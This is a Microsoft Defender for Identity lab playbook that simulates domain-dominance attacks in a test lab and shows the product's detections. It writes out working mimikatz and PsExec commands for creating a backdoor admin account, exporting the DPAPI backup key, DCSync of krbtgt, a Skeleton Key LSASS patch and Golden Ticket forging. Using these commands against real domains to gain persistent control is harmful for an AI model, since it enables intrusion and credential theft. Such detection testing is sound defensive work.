Domain dominance playbook

The last lab in this four-part series for Microsoft Defender for Identity security alerts is a domain dominance playbook. The purpose of the Defender for Identity security alert lab is to illustrate Defender for Identity's capabilities in identifying and detecting potential attacks against your network. The lab explains how to test against some of Defender for Identity's discrete detections using Defender for Identity's signature-based capabilities. The labs don't include Defender for Identity advanced machine-learning, user, or entity-based behavioral detections and alerts. Those types of detections and alerts aren't included in testing because they require a learning period, and real network traffic for up to 30 days. For more information about each lab in this series, see the Defender for Identity security alert lab overview.

This playbook shows some of the domain dominance threat detections and security alerts services of Defender for Identity using simulated attacks from common, real-world, publicly available hacking and attack tools. The methods covered are typically used at this point in the cyber-attack kill chain to achieve persistent domain dominance.

In this lab, you'll simulate attempts to achieve persistent domain dominance in order to review each of Defender for Identity's detections for the following common methods:

  • Remote Code Execution
  • Data Protection API (DPAPI)
  • Malicious Replication
  • Service Creation
  • Skeleton Key
  • Golden Ticket


  1. A completed Defender for Identity security alert lab

    • We recommend following the lab setup instructions as closely as possible. The closer your lab is to the suggested lab setup, the easier it will be to follow the Defender for Identity testing procedures.
  2. Completion of the lateral movement playbook


The third-party hacking tools in this lab are presented for research purposes only. Microsoft does not own these tools and Microsoft cannot and does not guarantee or warranty their behavior. They are subject to change without notice. These tools should be run in a test lab environment only.

Domain Dominance

In the cyber-attack kill chain, during the phase of domain dominance, an attacker has already gained legitimate credentials to access your domain controller. Attacker access to your domain controller means all levels of damage to your network can be accomplished. Beside the immediate damage, attackers, especially sophisticated ones, like to place additional insurance policies into environments they've compromised. These attacks ensure even if an attacker's initial compromise and actions are discovered, they'll still have additional avenues of persistence in your domain, increasing their chances of long-term success.

Remote Code Execution

Remote code execution is exactly what it sounds like. Attackers establish a way to remotely execute code against a resource, in this case, against a domain controller. We'll try using these common tools together to perform remote code execution and gain domain controller persistency and then see what Defender for Identity shows us.

  • Windows Management Instrumentation (WMI)
  • PsExec from SysInternals

Using WMI via the command line, try to create a process locally on the domain controller to create a user named "InsertedUser", with a password of: pa$$w0rd1.

  1. Open the Command Line, running in context of SamiraA from the VictimPC, execute the following command:

    wmic /node:ContosoDC process call create "net user /add InsertedUser pa$$w0rd1"
  2. Now with the user created, add the user to the "Administrators" group on the domain controller:

    PsExec.exe \\ContosoDC -accepteula net localgroup "Administrators" InsertedUser /add

    Use remote code execution (PsExec), to add the new user to the Admin group on the domain controller.

  3. Go to Active Directory Users and Computers (ADUC) on ContosoDC and find the InsertedUser.

  4. Right-click on Properties and check membership.

    View the properties of "InsertedUser."

Acting as an attacker, you've successfully created a new user in your lab by using WMI. You've also added the new user to the Administrators group by using PsExec. From a persistence perspective, another legitimate, independent credential was created on the domain controller. New credentials give an attacker persistent access to the domain controller in case the previous credential access gained was discovered and removed.

Remote Code Execution Detection in Defender for Identity

Sign in to the Defender for Identity portal to check what, if anything, Defender for Identity detected from our last simulated attack:

Defender for Identity detecting WMI remote code execution

Defender for Identity detected both the WMI and PsExec remote code executions.

Because of encryption on the WMI session, certain values such as the actual WMI methods or the result of the attack aren't visible. However, Defender for Identity's detection of these actions give us ideal information to take defensive action with.

VictimPC, the computer, should never be executing remote code against the Domain Controllers.

As Defender for Identity learns who is inserted into which Security Groups over time, similar suspicious activities are identified as anomalous activity in the timeline. Since this lab was recently built and is still within the learning period, this activity won't display as an alert. Security group modification detection by Defender for Identity can be validated by checking the activity timeline. Defender for Identity also allows you to generate reports on all Security Group modifications, which can be emailed to you proactively.

Access the Administrator page in the Defender for Identity portal using the Search tool. The Defender for Identity detection of the user insertion is displayed in the Admin Group activity timeline.

View added user to sensitive security group.

Data Protection API (DPAPI)

Data Protection Application Programming Interface (DPAPI) is used by Windows to securely protect passwords saved by browsers, encrypted files, and other sensitive data. Domain controllers hold a master key that can decrypt all secrets on domain-joined Windows machines.

Using mimikatz, we'll attempt to export the master key from the domain controller.

  1. Execute the following command against the domain controller:

    mimikatz.exe "privilege::debug" "lsadump::backupkeys / /export" "exit"

    Use of mimikatz to export the DPAPI backup key from Active Directory.

  2. Verify the master key file export occurred. Look in the directory from which you ran mimikatz.exe from to see the created .der, .pfx, .pvk, and .key files. Copy the legacy key from the command prompt.

As attackers, we now have the key to decrypt any DPAPI-encrypted file/sensitive data from any machine in the entire Forest.

DPAPI Detection in Defender for Identity

Using the Defender for Identity portal, let's verify that Defender for Identity successfully detected our DPAPI attack:

Defender for Identity detected DPAPI request

Malicious Replication

Malicious replication allows an attacker to replicate user information using Domain Admin (or equivalent) credentials. Malicious replication essentially allows an attacker to remotely harvest a credential. Obviously, the most critical account to attempt to harvest is "krbtgt" as it's the master key used to sign all Kerberos tickets.

The two common hacking tool sets that allow attackers to attempt malicious replication are Mimikatz and Core Security's Impacket.

Mimikatz lsadump::dcsync

From the VictimPC, in context of SamirA, execute the following Mimikatz command:

mimikatz.exe "lsadump::dcsync / /user:krbtgt" "exit" >> c:\temp\ContosoDC_krbtgt-export.txt

We've replicated the "krbtgt" account information to: c:\\temp\\ContosoDC_krbtgt-export.txt

Malicious Replication via mimikatz.

Malicious Replication Detection in Defender for Identity

Using the Defender for Identity portal, verify the SOC is now aware of the malicious replication we simulated from VictimPC.

Malicious replication being detected by Defender for Identity

Skeleton Key

Another domain dominance method attackers use is known as Skeleton Key. Using a Skeleton Key the attacker creates, the attacker can masquerade as any user at any time. In a Skeleton Key attack, every user can still sign in with their normal password, but each of their accounts is also given a master password. The new master password or Skeleton Key gives anyone who knows it, open access to the account. A Skeleton Key attack is achieved by patching the LSASS.exe process on the domain controller, forcing users to authenticate via a downgraded encryption type.

Let's use a Skeleton Key to see how this type of attack works:

  1. Move mimikatz to ContosoDC using the SamirA credentials we acquired before. Make sure to push the right architecture of mimikatz.exe based on the architecture type of the DC (64-bit vs 32-bit). From the mimikatz folder, execute:

    xcopy mimikatz.exe \\ContosoDC\c$\temp
  2. With mimikatz now staged on the DC, remotely execute it via PsExec:

    PsExec.exe \\ContosoDC -accepteula cmd /c (cd c:\temp ^& mimikatz.exe "privilege::debug" "misc::skeleton" ^& "exit")
  3. You successfully patched the LSASS process on ContosoDC.

    Skeleton Key attack via mimikatz.

Exploiting the Skeleton Key Patched LSASS

On VictimPC, open up a cmd prompt (in the context of JeffL), execute the following to try to become context of RonHD.

runas / "notepad"

When prompted, use the wrong password on purpose. This action proves that the account still has a password after executing the attack.

Use of wrong password after Skeleton Key attack (this method works exactly as described).

But Skeleton Key adds an additional password to each account. Do the "runas" command again but this time use "mimikatz" as the password.

runas / "notepad"

This command creates a new process, notepad, running in the context of RonHD. Skeleton Key can be done for any account, including service accounts and computer accounts.


It is important that you restart ContosoDC after you execute the Skeleton Key attack. Without doing so, the LSASS.exe process on ContosoDC will be patched and modified, downgrading every authentication request to RC4.

Skeleton Key attack Detection in Defender for Identity

What did Defender for Identity detect and report while all of this was happening?

Skeleton Key attack detected by Defender for Identity

Defender for Identity successfully detected the suspicious pre-authentication encryption method used for this user.

Golden Ticket - Existing User

After stealing the "Golden Ticket", ("krbtgt" account explained here via Malicious Replication, an attacker can sign tickets as if they're the domain controller. Mimikatz, the Domain SID, and the stolen "krbtgt" account are all required to accomplish this attack. Not only can we generate tickets for a user, we can generate tickets for users who don't even exist.

  1. As JeffL, run the following command on VictimPC to acquire the domain SID:

    whoami /user

    SID for golden ticket user.

  2. Identify and copy the Domain SID highlighted in the previous screenshot.

  3. Using mimikatz, take the copied Domain SID, along with the stolen "krbtgt" user's NTLM hash to generate the TGT. Insert the following text into a cmd.exe as JeffL:

    mimikatz.exe "privilege::debug" "kerberos::golden / /sid:S-1-5-21-2839646386-741382897-445212193 /krbtgt:c96537e5dca507ee7cfdede66d33103e /user:SamiraA /ticket:c:\temp\GTSamiraA_2018-11-28.kirbi /ptt" "exit"

    Generate the Golden Ticket.

    The /ptt part of the command allowed us to immediately pass the generated ticket into memory.

  4. Let's make sure the credential is in memory. Execute klist in the console.

    klist results after passing the generated ticket.

  5. Acting as an attacker, execute the following Pass-the-Ticket command to use it against the DC:

    dir \\ContosoDC\c$

    Success! You generated a fake Golden Ticket for SamiraA.

    Execute Golden Ticket via mimikatz.

Why did it work? The Golden Ticket Attack works because the ticket generated was properly signed with the 'KRBTGT' key we harvested earlier. This ticket allows us, as the attacker, to gain access to ContosoDC and add ourselves to any Security Group that we wish to use.

Golden Ticket- Existing User attack detection

Defender for Identity uses multiple methods to detect suspected attacks of this type. In this exact scenario, Defender for Identity detected the encryption downgrade of the fake ticket.

Golden Ticket being detected.


Reminder. As long as the KRBTGT harvested by an attacker remains valid within an environment, the tickets generated with it also remain valid. In this case, the attacker achieves persistent domain dominance until the KRBTGT is reset, twice.

Next steps